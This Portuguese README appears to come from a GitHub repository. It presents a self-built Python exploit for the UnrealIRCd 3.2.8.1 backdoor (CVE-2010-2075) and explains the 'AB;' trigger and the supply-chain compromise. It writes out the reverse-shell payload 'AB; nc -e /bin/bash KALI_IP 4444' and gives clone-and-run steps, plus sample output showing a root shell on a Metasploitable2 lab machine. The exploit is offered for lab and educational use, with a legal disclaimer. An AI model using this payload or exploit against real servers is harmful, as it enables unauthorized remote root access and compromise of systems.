Exploit de backdoor do UnrealIRCd 3.2.8.1 — reverse shell via AB; trigger, construído do zero em Python usando sockets brutos. Sem Metasploit.
O UnrealIRCd é um servidor IRC (Internet Relay Chat) de código aberto — um protocolo que permite aos usuários se comunicarem em tempo real através de uma rede, semelhante às primeiras plataformas de chat.
Em 2009–2010, foi descoberto que o UnrealIRCd 3.2.8.1 distribuído através dos espelhos de download oficiais havia sido comprometido. Um atacante havia substituído o código-fonte legítimo por uma versão com backdoor contendo um gatilho oculto de execução de comandos.
Este foi um ataque à cadeia de suprimentos — idêntico em natureza ao CVE-2011-2523 (vsftpd 2.3.4). O software legítimo foi substituído por uma versão modificada maliciosamente antes que os usuários o baixassem.
A backdoor monitora todos os dados recebidos na porta 6667. Se qualquer entrada começar com
a string AB;, tudo após ela é passado —
contornando completamente toda a lógica do IRC, autenticação e verificações de registro.
system()O gatilho é disparado durante a fase de inicialização da conexão, antes mesmo de o servidor IRC registrar o cliente. Sem NICK, sem USER, sem necessidade de autenticação.
Fluxo do ataque:
Attacker (Kali) Target (Metasploitable2)
1. s1 connects to port 6667
NICK + USER handshake → Server sends full banner
Read banner, check version
Confirm Unreal3.2.8.1
2. Open listener on port 4444
(waiting for incoming shell)
3. s2 connects to port 6667 → AB; nc -e /bin/bash KALI_IP 4444
→ system() executes immediately
→ netcat spawns bash, connects back
4. listener.accept() ← Incoming root shell connection
Interactive root shell
Este exploit usa um reverse shell — o alvo se conecta de volta ao atacante, em vez de o atacante se conectar a uma porta no alvo.
| Tipo | Direção | Usado Em |
|---|---|---|
| Bind shell | Atacante → Alvo | CVE-2011-2523 (vsftpd) |
| Reverse shell | Alvo → Atacante | CVE-2010-2075 (UnrealIRCd) |
Reverse shells contornam regras de firewall de entrada — conexões de saída do alvo raramente são bloqueadas.
netcat instalado no alvo (presente por padrão no Metasploitable2)git clone https://github.com/rushikesh-a-bhujbal/CVE-2010-2075.git
cd exploit-dev/CVE-2010-2075
Edite main.py e defina:
kali_ip = "YOUR_KALI_IP"
target_ip = "TARGET_IP"
Execute:
python3 main.py
Exemplo de saída:
[+] Vulnerable version confirmed. Proceeding...
[*] Listening on port 4444...
[+] Shell received from ('192.168.15.132', 58280)
> whoami
root
> uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008
> pwd
/etc/unreal
> exit
| Cenário | Comportamento |
|---|---|
| Porta 6667 fechada | Imprime "Port Closed", encerra normalmente |
| Versão incorreta | Imprime "Not vulnerable", encerra normalmente |
| Alvo não retorna a chamada | listener.accept() aguarda (adicione timeout se necessário) |
| Comando não produz saída | recv() expira silenciosamente, retorna ao prompt |
| CVE-2011-2523 (vsftpd) | CVE-2010-2075 (UnrealIRCd) | |
|---|---|---|
| Protocolo | FTP (porta 21) | IRC (porta 6667) |
| Gatilho | :) no nome de usuário | Prefixo AB; em qualquer entrada |
| Tipo de shell | Bind shell (porta 6200) | Reverse shell (porta do atacante) |
| Conexões | 2 de saída | 1 de saída + 1 de entrada |
Este exploit foi desenvolvido estritamente para fins educacionais e pesquisa de segurança autorizada apenas.
Construído e testado exclusivamente contra uma máquina virtual Metasploitable2 local em um ambiente de laboratório totalmente isolado.
Não use isto contra qualquer sistema que você não possua ou para o qual não tenha permissão explícita por escrito para testar. O uso não autorizado é ilegal sob o Computer Fraud and Abuse Act (CFAA) e leis equivalentes em todo o mundo.
O autor não aceita qualquer responsabilidade pelo uso indevido deste código.
Rushikesh Bhujbal
Security Research & Exploit Development
GitHub